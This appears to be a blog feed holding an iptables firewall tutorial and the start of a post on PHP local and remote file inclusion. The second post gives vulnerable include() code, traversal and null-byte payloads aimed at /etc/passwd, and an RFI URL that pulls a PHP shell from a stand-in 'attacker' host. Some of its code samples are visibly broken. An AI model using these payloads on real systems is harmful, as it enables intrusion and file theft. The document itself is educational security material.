<p>Linux防火墙体系主要工作在网络层,针对TCP/IP数据包实施过滤和限制,完成封包过滤、封包重定向和网络地址转换(NAT)等功能,属于典型的包过滤防火墙(也称网络层防火墙)。其基于内核编码实现,具有非常稳定的性能和高效率,因此被广泛的应用。</p> <h2 id="1-netfilter和iptables的区别">1. Netfilter和iptables的区别:</h2> <ul> <li>Netfilter:指的是Linux内核中实现包过滤防火墙的内部结构,不以程序或文件的形式存在,属于“内核态”(KernelSpace,又称内核空间)的防火墙功能体系;</li> <li>Iptables:指的是用来管理Linux防火墙的命令程序,通常位于/sbin/iptables,属于“用户态”(UserSpace,又称用户空间)的防火墙管理体系;</li> </ul> <p>所以其实iptables只是Linux防火墙的管理工具而已,位于/sbin/iptables。真正实现防火墙功能的是 netfilter,它是Linux内核中实现包过滤的内部结构。</p> <h2 id="2-规则rules">2. 规则(rules)</h2> <p>规则(rules)其实就是网络管理员预定义的条件,规则一般的定义为“如果数据包头符合这样的条件,就这样处理这个数据包”。</p> <p>规则存储在内核空间的信息 包过滤表中,这些规则分别指定了<strong>源地址</strong>、<strong>目的地址</strong>、<strong>传输协议</strong>(如TCP、UDP、ICMP)和<strong>服务类型</strong>(如HTTP、FTP和SMTP)等。当数据包与规则匹配时,iptables就根据规则所定义的方法来处理这些数据包,如<strong>放行(accept)</strong>、**拒绝(reject)<strong>和</strong>丢弃(drop)**等。</p> <p>配置防火墙的主要工作就是添加、修改和删除这些规则。</p> <h2 id="3-包过滤的工作层次">3. 包过滤的工作层次:</h2> <p>主要是网络层,针对IP数据包。体现在对包内的IP地址、端口等信息的处理上。</p> <p><img src="https://pic3.zhimg.com/80/v2-ac1c43e4005e585e8b039f6d0f654d76_720w.png" alt="img"></p> <h2 id="3-iptables的表链结构">3. iptables的表、链结构:</h2> <p>iptables作用:为包过滤机制的实现提供规则(或策略),通过各种不同的规则,告诉netfilter对来自某些源、前往某些目的或具有某些协议特征的数据包应该如何处理。</p> <p>iptables内置了4个表,即<strong>filter</strong>表、<strong>nat</strong>表、<strong>mangle</strong>表和<strong>raw表</strong>,分别用于实现<strong>包过滤</strong>,<strong>网络地址转换</strong>、<strong>包重构(修改)<strong>和</strong>数据跟踪处理</strong>。 链(chains)是数据包传播的路径,每一条链其实就是众多规则中的一个检查清单,每一条链中可以有一 条或数条规则。</p> <p>当一个数据包到达一个链时,iptables就会从链中第一条规则开始检查,看该数据包是否满足规则所定义的条件。如果满足,系统就会根据 该条规则所定义的方法处理该数据包;否则iptables将继续检查下一条规则,如果该数据包不符合链中任一条规则,iptables就会根据该链预先定 义的默认策略来处理数据包。</p> <h3 id="规则链">规则链:</h3> <ul> <li>规则的作用:对数据包进行过滤或处理</li> <li>链的作用:容纳各种防火墙规则</li> <li>链的分类依据:处理数据包的不同时机</li> </ul> <p>默认包括5种规则链</p> <ul> <li>INPUT:处理入站数据包</li> <li>OUTPUT:处理出站数据包</li> <li>FORWARD:处理转发数据包</li> <li>POSTROUTING链:在进行路由选择后处理数据包(对数据链进行源地址修改转换)</li> <li>PREROUTING链:在进行路由选择前处理数据包(做目标地址转换)</li> </ul> <p><strong>INPUT</strong>、<strong>OUTPUT</strong>链主要用在“主机型防火墙”中,即主要针对服务器本机进行保护的防火墙;而<strong>FORWARD</strong>、<strong>PREROUTING=</strong>、<strong>POSTROUTING</strong>链多用在“网络型防火墙”中。</p> <h3 id="规则表">规则表</h3> <ul> <li>表的作用:容纳各种规则链</li> <li>表的划分依据:防火墙规则的作用相似</li> </ul> <p>默认包括4个规则表:</p> <ul> <li>raw表:确定是否对该数据包进行状态跟踪;对应iptable_raw,表内包含两个链:OUTPUT、PREROUTING</li> <li>mangle表:为数据包的TOS(服务类型)、TTL(生命周期)值,或者为数据包设置Mark标记,以实现流量整形、策略路由等高级应用。其对应iptable_mangle,表内包含五个链:PREROUTING、POSTROUTING、INPUT、OUTPUT、FORWARD</li> <li>nat表:修改数据包中的源、目标IP地址或端口;其对应的模块为iptable_nat,表内包括三个链:PREROUTING、POSTROUTING、OUTPUT</li> <li>filter表:确定是否放行该数据包(过滤);其对应的内核模块为iptable_filter,表内包含三个链:INPUT、FORWARD、OUTPUT</li> </ul> <p><img src="https://pic1.zhimg.com/80/v2-3716f456bd27f19d2b71c522b7e4a7d4_720w.png" alt="img"></p> <p>Iptables采用“表”和“链”的分层结构。注意一定要明白这些表和链的关系及作用。</p> <h2 id="4-链表的优先顺序">4. 链、表的优先顺序</h2> <ul> <li> <p>规则表之间的优先顺序</p> </li> <li> <ul> <li>Raw==》mangle==》nat==》filter</li> </ul> </li> <li> <p>规则链之间的顺序</p> </li> <li> <ul> <li>入站:PREROUTING==》INPUT</li> <li>出站:OUTPUT==》POSTROUTING</li> <li>转发:PREROUTING==》FORWARD==》POSTROUTIN</li> </ul> </li> <li> <p>规则链内的匹配顺序</p> </li> <li> <ul> <li>按顺序依次检查,<strong>匹配即停止</strong>(LOG策略例外)</li> <li>若找不到相匹配的规则,则按该链的默认策略处理</li> </ul> </li> </ul> <h1 id="0x01-编写防火墙规则">0x01 编写防火墙规则</h1> <h2 id="1-iptables-的基本语法控制类型">1. iptables <strong>的基本语法、控制类型</strong></h2> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">iptables [ -t 表名] 选项 [链名] [条件] [ -j 控制类型] </code></pre></div><p><strong>注意事项:</strong></p> <ul> <li>不指定表名时,-t 默认指filter表</li> <li>不指定链名时,默认指表内的所有链</li> <li>除非设置链的默认策略,否则必须指定匹配条件</li> <li>选项、链名、控制类型使用大写字母,其余均为小写</li> </ul> <h2 id="2-数据包的常见控制类型">2. 数据包的常见控制类型</h2> <blockquote> <ul> <li>ACCEPT:允许通过</li> <li>DROP:直接丢弃,不给出任何回应</li> <li>REJECT:拒绝通过,必要时会给出提示</li> <li>LOG:在/var/log/messages文件中记录日志信息,然后传给下一条规则继续匹配(匹配即停止对LOG操作不起作用,因为LOG只是一种辅助动作,并没有真正的处理数据包)</li> </ul> </blockquote> <h2 id="3-iptables命令的管理控制选项">3. iptables命令的管理控制选项</h2> <ul> <li>-A 在指定链的末尾添加(append)一条新的规则 -D 删除(delete)指定链中的某一条规则,可以按规则序号和内容删除</li> <li>-I 在指定链中插入(insert)一条新的规则,默认在第一行添加-R 修改、替换(replace)指定链中的某一条规则,可以按规则序号和内容替换</li> <li>-L 列出(list)指定链中所有的规则进行查看</li> <li>-E 重命名用户定义的链,不改变链本身</li> <li>-F 清空(flush)</li> <li>-N 新建(new-chain)一条用户自己定义的规则链</li> <li>-X 删除指定表中用户自定义的规则链(delete-chain)</li> <li>-P 设置指定链的默认策略(policy)</li> <li>-Z 将所有表的所有链的字节和数据包计数器清零</li> <li>-n 使用数字形式(numeric)显示输出结果</li> <li>-v:以更详细的方式显示规则信息</li> <li>&ndash;line-numbers:查看规则时,显示规则的序号-X:删除自定义的规则链 <strong>eg:将filter表中FORWARD链中的默认策略设为丢弃,OUTPUT链的默认策略设为允许</strong></li> </ul> <h2 id="4-规则的匹配条件">4. 规则的匹配条件</h2> <ul> <li> <p>通用匹配</p> </li> <li> <ul> <li> <p>协议匹配: -p [协议名]</p> </li> <li> <p>地址匹配</p> </li> <li> <ul> <li>-s [源地址]</li> <li>-d [目标地址]</li> </ul> </li> <li> <p>接口匹配</p> </li> <li> <ul> <li>-i [入站网卡]</li> <li>-o [出站网卡]</li> </ul> </li> </ul> </li> <li> <p>隐含匹配</p> </li> <li> <ul> <li> <p>端口匹配</p> </li> <li> <ul> <li>-sport [源端口]</li> <li>-dport [目标端口]</li> </ul> </li> <li> <p>TCP标记匹配:&ndash;tcp-flags [检查范围] [被设置的标记]</p> </li> <li> <p>ICMP类型匹配:&ndash;icmp-type [ICMP类型]</p> </li> </ul> </li> <li> <p>显式匹配</p> </li> <li> <ul> <li>多端口匹配:-m multiport &ndash;sport | &ndash;dport [端口列表]</li> <li>IP范围匹配:-m iprange &ndash;src-range [IP范围]</li> <li>MAC地址匹配:-m mac &ndash;mac-range [MAC地址]</li> <li>状态匹配:-m state &ndash;state [连接状态]</li> </ul> </li> </ul> <h3 id="常见通用匹配条件">常见通用匹配条件:</h3> <ol> <li><strong>协议匹配:-p [协议名]</strong></li> </ol> <p>(eg:<strong>tcp</strong>、<strong>udp</strong>、<strong>icmp</strong>、<strong>all</strong>(针对所有IP数据包)),可用的协议类型存放于Linux系统的/etc/procotols文件中;</p> <p>eg:丢弃通过icmp协议访问防火墙本机的数据包、允许转发经过防火墙的除icmp协议以外的数据包:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -I INPUT -p icmp -j DROP [root@iptables ~]# iptables -A FORWARD -p ! icmp -j ACCEPT </code></pre></div><p>【!】表示取反</p> <p><strong>2. 地址匹配:-s [源地址]、 -d [目标地址]</strong></p> <p>可以是IP地址、网段地址,但不建议使用主机名、域名地址,因为解析过程会影响效率</p> <p>eg:拒绝转发源地址为192.168.10.100的数据、允许转发源地址位于192.168.1.0/24网段的数据:</p> <pre><code>[root@iptables ~]# iptables -A FORWARD -s 192.168.10.100 -j REJECT [root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -j ACCEPT </code></pre><p>当遇到小规模的网络扫描或攻击时,封IP地址是比较有效的方式。</p> <p>eg:添加防火墙规则封锁来自172.16.16.0/24网段的频繁扫描、登录穷举等不良企图:</p> <pre><code>[root@iptables ~]# iptables -I INPUT -s 172.16.16.0/24 -j DROP [root@iptables ~]# iptables -I FORWARD -s 172.16.16.0/24 -j DROP </code></pre><p><strong>3. 接口匹配</strong>:<strong>-i [入站网卡]、-o [出站网卡]</strong></p> <p>eg:丢弃从外网接口eth0访问防火墙本机且源地址为私有地址的数据包:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -i eth0 -s 172.16.0.0/12 -j DROP </code></pre></div><h3 id="常用隐含匹配条件">常用隐含匹配条件:</h3> <p><strong>1. 端口匹配</strong>:<strong>&ndash;sport [源端口]、&ndash;dport [目的端口]</strong></p> <p>单个端口号或者以冒号“:”分隔的端口范围都是可以接受的,但不连续的多个端口不能采用这种方式。</p> <p>eg:允许为网段192.168.1.0/24转发DNS查询数据包:</p> <p><code>[root@iptables ~]# iptables -A FORWARD -s 192.168.1.0/24 -p udp --dport 53 -j ACCEPT [root@iptables ~]# iptables -A FORWARD -d 192.168.1.0/24 -p udp --sport 53 -j ACCEPT</code></p> <p>eg:构建vsftpd服务器时,开放20、21端口,以及用于被动模式的端口范围24500~24600:</p> <p><code>[root@iptables ~]# iptables -A INPUT -p tcp --dport 20:21 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p tcp --dport 24500:24600 -j ACCEPT</code></p> <p><strong>2. TCP标记匹配</strong>:<strong>&ndash;tcp-flags 检查范围 被设置的标记</strong></p> <p>针对协议为TCP、用来检查数据包的标记位(&ndash;tcp-flags)</p> <p>“检查范围”指出需要检查数据包的哪几个标记,“被设置的标记”则明确匹配对应值为1的标记,多个标记之间以逗号进行分隔。</p> <p>eg:拒绝从外网接口eth0直接访问防火墙本机的TCP请求,但允许其他主机发给防火墙的TCP等响应数据包请求:</p> <p><code>[root@iptables ~]# iptables -P INPUT DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags SYN,RST,ACK SYN -j DROP [root@iptables ~]# iptables -I INPUT -i eth0 -p tcp --tcp-flags ! --syn -j ACCEPT</code></p> <p><strong>3. ICMP类型匹配</strong>:<strong>&ndash;icmp-type ICMP类型</strong></p> <p>ICMP类型使用字符串或数字代码表示:</p> <ul> <li>Echo-Request代码为8——表ICMP请求;</li> <li>Echo-Reply代码为0——ICMP回显;</li> <li>Destination-Unreachable代码为3——ICMP目标不可达;</li> </ul> <p>eg:禁止从其他主机ping本机,但是允许本机ping其他主机:</p> <p><code>[root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 8 -j DROP [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp --icmp-type 3 -j ACCEPT [root@iptables ~]# iptables -A INPUT -p icmp -j DROP </code></p> <h3 id="常用的显式匹配条件">常用的显式匹配条件</h3> <p><strong>1. 多端口匹配</strong>:<strong>-m multiport &ndash;sports [源端口列表]</strong></p> <p><strong>-m multiport &ndash;dports [目的端口列表]</strong></p> <p>eg:允许本机开放25、80、110、143端口,以便提供电子邮件服务:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -p tcp -m multiport --dport 25,80,110,143 -j ACCEPT </code></pre></div><p><strong>2. IP范围匹配</strong>:<strong>-m iprange &ndash;src-range [IP范围]</strong></p> <p>用来检查数据包的源地址、目标地址,其中IP范围采用“起始地址—结束地址”的形式:</p> <p>eg:禁止转发源IP地址位于192.168.1.10与192.168.1.20之间的TCP数据包:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A FORWARD -p tcp -m iprange --src-range 192.168.1.10-192.168.1.20 -j ACCEPT </code></pre></div><p><strong>3. MAC地址匹配</strong>:<strong>-m mac &ndash;mac-source [MAC地址]</strong></p> <p>因为MAC地址的局限性,此类匹配一般只适用于内部网络。</p> <p>eg:根据MAC地址封锁主机,禁止其访问本机的任何应用:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A INPUT -m mac --mac-source 00:01:02:03:04:cc -j DROP </code></pre></div><p><strong>4. 状态匹配</strong>:<strong>-m state &ndash;state [连接状态]</strong></p> <ul> <li>基于iptables的状态跟踪机制用来检查数据包的连接状态(State)</li> <li>常见的连接状态包括NEW(与任何连接无关的)、ESTABLISHED(响应请求或者已建立连接的)、RELATED(与已有连接有相关性的,eg:FTP数据连接)。</li> </ul> <p>eg:禁止转发与正常TCP连接无关的非“&ndash;syn”请求数据包(如伪造的一些网络攻击数据包):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -A FORWARD -m state --state NEW -p tcp ! --syn -j DROP </code></pre></div><p>eg:只开放本机的web服务(80端口),但对发给本机的TCP应答数据包予以放行,其他入站数据包均丢弃:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@iptables ~]# iptables -I INPUT -p tcp -m multiport --dport 80 -j ACCEPT [root@iptables ~]# iptables -I INPUT -p tcp -m state --state ESTABLISHED -j ACCEPT [root@iptables ~]# iptables -P INPUT DROP </code></pre></div><h1 id="0x02-iptables防火墙规则的保存与恢复">0x02 iptables防火墙规则的保存与恢复</h1> <p>1、保存iptables的规则,避免开机失效</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">iptables-save &gt; /etc/iptables </code></pre></div><p>2、编辑网卡,写入开机加载iptables规则</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">vi /etc/network/interfaces </code></pre></div><p>3、 在网卡配置文件中写入加载 之前保存的规则文件 使其开机可以加载iptables的规则文件</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text"> iptables-restore &lt; /etc/iptables </code></pre></div><h1 id="0x03-snat和dnat">0x03 SNAT和DNAT</h1> <p>SNAT是指在数据包从网卡发送出去的时候,把数据包中的源地址部分替换为指定的IP,这样,接收方就认为数据包的来源是被替换的那个IP的主机。</p> <p>DNAT就是指数据包从网卡发送出去的时候,修改数据包中的目的IP,表现为如果你想访问A,可是因为网关做了DNAT,把所有访问A的数据包的目的IP全部修改为B,那么,你实际上访问的是B 因为,路由是按照目的地址来选择的。</p> <p>因此DNAT是在PREROUTING链上来进行的,而SNAT是在数据包发送出去的时候才进行,所以是在POSTROUTING链上进行的。 通过SNAT和DNAT可以使内网和外网进行相互通讯。#</p> <p>##SNAT策略概述</p> <ul> <li>SNAT策略的典型应用环境</li> </ul> <p>SNAT策略的典型应用环境</p> <p>​ 局域网主机共享单个公网IP地址接入Internet</p> <ul> <li> <p>SNAT策略的原理</p> <p><strong>源地址转换</strong>(Source Network Address Translation)是linux防火墙的一种地址转换操作,也是iptables命令中的一种数据包控制类型,并根据指定条件修改数据包的源IP地址。</p> </li> <li> <p>实验环境拓扑:</p> </li> <li> <p>实验分析:</p> <ul> <li> <p>a:只开启路由转发,未做地址转换的情况:</p> <p>分析:</p> <ul> <li>从局域网PC机访问Internet的数据包经过网关转发后其源IP地址保持不变;</li> <li>当Internet中的主机收到这样的请求数据包后,响应数据包将无法正确返回,从而导致访问失败。</li> </ul> </li> <li> <p>b:开启路由转发,并设置SNAT转换的情况:</p> <p>分析:</p> <ul> <li>局域网PC机访问Internet的数据包到达网关服务器时,会先进行路由选择;</li> <li>如果该数据包需要从外网接口eth0向外转发,则将其源IP地址192.168.10.2修改为网关的外网接口地址210.106.46.151,然后发送给目标主机。</li> </ul> </li> </ul> <p>b访问方式的优点:Internet中的服务器并不知道局域网PC机的实际IP地址,中间的转换完全由网关主机完成,起到了保护内部网络的作用。</p> </li> </ul> <h2 id="snat策略的应用">SNAT策略的应用</h2> <p>前提条件:</p> <ul> <li>局域网各主机正确设置IP地址/子网掩码</li> <li>局域网各主机正确设置默认网关地址</li> <li>Linux网关支持IP路由转发</li> </ul> <p>实现方法:</p> <ul> <li>编写SNAT转换规则</li> </ul> <p>SNAT共享固定IP地址上网:</p> <ul> <li> <p>实验环境描述:</p> <ul> <li>Linux网关服务器两块网卡eth0:210.106.46.151连接Internet、eth1:192.168.10.1连接局域网,开启IP路由功能</li> <li>局域网PC机的默认网关设为192.168.10.1,并设置正确的DNS服务器。</li> <li>内网和外网分别新建客户机,分别指定对应的网关地址,在外网客户机上开启httpd服务,在内网客户机中访问httpd服务,最后查看httpd客户机的访问记录;</li> <li>要求:192.168.10.0/24网段的PC机能够通过共享方式正常访问internet。</li> </ul> </li> <li> <p>实验步骤:</p> <p>1:打开网关的路由转发(IP转发是实现路由功能的关键所在):</p> <p>打开路由转发的两种方式:</p> <ul> <li> <p>永久打开(修改<code>/proc</code>文件系统中的<code>ip_forward</code>,当值为1时表示开启,为0表示关闭):</p> </li> <li> <p>临时开启,临时生效</p> </li> </ul> <p>2:正确设置SNAT策略(若要保持SNAT策略长期有效,应将相关命令写入rc.local中):</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o eth0 -j SNAT --to-source 210.106.46.151 </code></pre></div><pre><code> 3:测试SNAT共享接入的结果: ​ 上诉操作完成后,使用局域网PC就可以正常访问Internet中的网站。 ​ 对于被访问的网站服务器,在日志文件中将会记录以网关主机210.106.46.151访问。 </code></pre></li> </ul> <p><strong>共享动态IP地址上网</strong>:</p> <ul> <li>MASQUERADE —— 地址伪装</li> <li>适用于外网IP地址非固定的情况</li> <li>对于ADSL拨号连接,接口通常为ppp0、ppp1</li> <li>将SNAT规则改为MASQUERADE即可</li> </ul> <p>实例:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">[root@localhost ~]# iptables -t nat -A POSTROUTING -s 192.168.10.0/24 -o ppp0 -j MASQUERADE </code></pre></div><p>如果网关使用固定的公网IP地址,建议选择SNAT策略而不是MASQUERADE策略,以减少不必要的系统开销。</p> <p>##DNAT策略概述</p> <ul> <li>DNAT策略的原理:</li> </ul> <p><strong>目标地址转换</strong>,Destination Network Address Translation,是Linux防火墙的另一种地址转换操作,也是iptables命令中的一种数据包控制类型,其作用是根据指定条件修改数据包的目标IP地址、目标端口。</p> <p>SNAT用来修改源IP地址,而DNAT用来修改目标IP地址、目标端口;SNAT只能用在NAT表的POSTROUTING链,而DNAT只能用在NAT表的PREROUTING链和OUTPUT链(或被其调用的链)中。</p> PHP文件包含介绍及一些利用方式 https://p0st3r.github.io/post/php-file-contains/ Tue, 11 Apr 2017 00:00:00 +0000 https://p0st3r.github.io/post/php-file-contains/ <h1 id="文件包含介绍">文件包含介绍</h1> <p>严格来说,文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码,并让服务端执行。</p> <p>代码注入的典型代表就是文件包含。文件包含可能会出现在JSP、PHP、ASP等语言中。</p> <p>常见的导致文件包含的函数如下:</p> <ul> <li>PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….</li> <li>JSP/Servlet: ava.io.File(),java.io.FileReader() …</li> <li>ASP:include file, include virtual…</li> </ul> <p>PHP文件包含主要由这四个函数完成:</p> <ul> <li>include()</li> <li>require()</li> <li>include_once()</li> <li>require_once()</li> </ul> <p>当使用这4个函数包含一个新的文件时,<strong>该文件将作为PHP代码执行,PHP内核并不会在意该被包含文件是什么类型</strong>。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。</p> <p>比如DVWA low等级的文件上传</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">include</span>($_GET[<span style="color:#a6e22e">page</span>]);<span style="color:#75715e">?&gt;</span> </code></pre></div><p>在同目录留一个包含了可执行的PHP代码的txt文件</p> <p>再执行漏洞URL,发现代码被执行了</p> <p>要成功的利用文件包含漏洞,需要满足下面两个条件:</p> <ul> <li>include()等函数通过动态变量的方式引入需要包含的文件</li> <li>用户能够控制该动态变量</li> </ul> <p>下面我们深入看看文件包含漏洞还能导致哪些后果</p> <h1 id="本地文件包含">本地文件包含</h1> <h2 id="普通本地文件包含">普通本地文件包含</h2> <p>能够打开并包含本地文件的漏洞,被称为本地文件包含漏洞(Local File Inclusion/LFI)。比如下面这段代码就存在LFI漏洞。</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#a6e22e">file</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">_GET</span>[<span style="color:#a6e22e">‘file’</span>]; <span style="color:#75715e">// “../../etc/passwd\0 </span><span style="color:#75715e"></span><span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">file_exisits</span>(<span style="color:#a6e22e">‘</span><span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wwwrun</span><span style="color:#f92672">/</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span>$file<span style="color:#f92672">.</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php’</span>)) { <span style="color:#75715e">//file_exists will return true as the file/home/wwwrun/../../etc/passwd exists </span><span style="color:#75715e"></span> <span style="color:#66d9ef">Include</span><span style="color:#a6e22e">‘</span><span style="color:#f92672">/</span><span style="color:#a6e22e">home</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wwwrun</span><span style="color:#f92672">/</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span>$file<span style="color:#f92672">.</span><span style="color:#a6e22e">’</span><span style="color:#f92672">.</span><span style="color:#a6e22e">php’</span>; <span style="color:#75715e">// the file /etc/passwd will be included </span><span style="color:#75715e"></span>} <span style="color:#75715e">?&gt;</span> </code></pre></div><p>用户能够控制参数file。当file的值为../../etc/passwd时,PHP将访问/etc/passwd文件。</p> <p>但是在此之前,还需要解决Include‘/home/wwwrun/’.$file.’.php’;</p> <p>这种写法将变量与字符串连接起来,假如用户控制$file的值为../../etc/passwd,这段代码相当于Include‘/home/wwwrun/../../etc/passwd.php’;</p> <p>被包含的文件实际上是/etc/passwd.php,但是实际上这个文件是不存在的</p> <h2 id="有限制的本地文件包含">有限制的本地文件包含</h2> <h3 id="00截断">%00截断</h3> <p>PHP内核是由C语言实现的,因此使用了C语言中 的一些字符串处理函数。在连接字符串时,0字节(\x00)将作为字符串结束符。所以在这个地方,只要在最后加入一个0字节,就能截断file变量之后的字符串,即</p> <p>../../etc/passwd\0</p> <p>在Web输入时只需URL编码一下,变成</p> <p>../../etc/passwd%00</p> <p>(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)</p> <h3 id="00截断目录遍历">%00截断目录遍历</h3> <p>?file=../../../../../../../../../var/www/%00</p> <p>(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)</p> <h3 id="防御00截断">防御%00截断</h3> <p>在一般的Web应用中,0字节是用户不需要的,因此可以完全禁用0字节,比如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">function</span> <span style="color:#a6e22e">getVar</span>($name){ <span style="color:#a6e22e">value</span> <span style="color:#f92672">=</span><span style="color:#a6e22e">isset</span>(<span style="color:#a6e22e">GET</span>[<span style="color:#a6e22e">name</span>] <span style="color:#f92672">?</span> <span style="color:#a6e22e">GET</span>[$name] <span style="color:#f92672">:</span> <span style="color:#66d9ef">null</span>; <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">is_string</span>($value)){ <span style="color:#a6e22e">value</span><span style="color:#f92672">=</span> <span style="color:#a6e22e">str_replace</span>(<span style="color:#a6e22e">“\0”</span>, <span style="color:#a6e22e">‘</span> <span style="color:#a6e22e">‘</span> , <span style="color:#a6e22e">value</span>); } } <span style="color:#75715e">?&gt;</span> </code></pre></div><h3 id="构造长目录截断">构造长目录截断</h3> <p>但是光防御0字节是肯定不够的。俗话说上有政策下有对策,国内的安全研究者cloie发现了一个技巧——利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。</p> <p><strong>目录字符串在Windows下256字节、Linux下4096字节时达到最大值,最大值长度之后的字符将被丢弃。</strong></p> <p>而只需通过【./】就可以构造出足够长的目录。比如</p> <p>././././././././././././././././passwd</p> <p>或者</p> <p>////////////////////////passwd</p> <p>又或者</p> <p>../1/abc/../1/abc/../1/abc..</p> <p>(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)</p> <h3 id="点号截断">点号截断</h3> <p>?file=../../../../../../../../../boot.ini/………[…]…………</p> <p>(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)</p> <h2 id="普通远程文件包含">普通远程文件包含</h2> <p>如果PHP的配置选项allow_url_include为ON的话(默认是关闭的),则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(Remote File Inclusion,简称RFI)</p> <p>例如:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-php" data-lang="php"><span style="color:#75715e">&lt;?php</span> <span style="color:#66d9ef">if</span>($route <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;share&#34;</span>){ <span style="color:#66d9ef">require_once</span> $basePath <span style="color:#f92672">.</span><span style="color:#e6db74">&#39;/action/m_share.php&#39;</span>; } <span style="color:#66d9ef">elseif</span>($route <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;sharelink&#34;</span>){ <span style="color:#66d9ef">require_once</span> $basePath <span style="color:#f92672">./</span><span style="color:#e6db74">&#39;action/m_sharelink.php&#39;</span>;} <span style="color:#75715e">?&gt;</span> </code></pre></div><p>在$basePath前没有设置任何障碍,因此攻击者可以构造类似如下的恶意URL:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">/?param=http://attacker/phpshell.txt? </code></pre></div><p>最终加载的代码实际上执行了:</p> <div class="highlight"><pre style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4"><code class="language-text" data-lang="text">require_once &#39;http://attacker/phpshell.txt?/action/m_share.php&#39;; </code></pre></div><p>问号后面的代码最终被解释成URL的querystring(查询用字符串),这也算一种截断方式,这是利用远程文件包含漏洞时的常见技巧。同样,%00也可以作为截断符号。</p> <h2 id="本地文件包含的利用技巧">本地文件包含的利用技巧</h2> <p>本地文件包含漏洞,是有机会执行php代码的,但这取决于一些条件</p> <p>经过不懈研究,安全研究者总结出了一下几种常见的技巧,用于本地文件包含后执行php代码。</p> <p>(1)包含用户上传的文件</p> <p>(2)包含data://或php://input等伪协议</p> <p>(3)包含session文件</p> <p>(4)包含日志文件</p> <p>(5)包含/proc/self/environ</p> <p>(6)包含上传的临时文件</p> <p>(7)包含其他应用创建的文件,如数据库文件,缓存文件,应用日志等,需具体问题具体分析</p> <h3 id="常见利用方式">常见利用方式</h3> <?phpinclude("inc/" . $_GET['file']); ?> <ul> <li>包含同目录下的文件:</li> </ul> <p>?file=.htaccess</p> <ul> 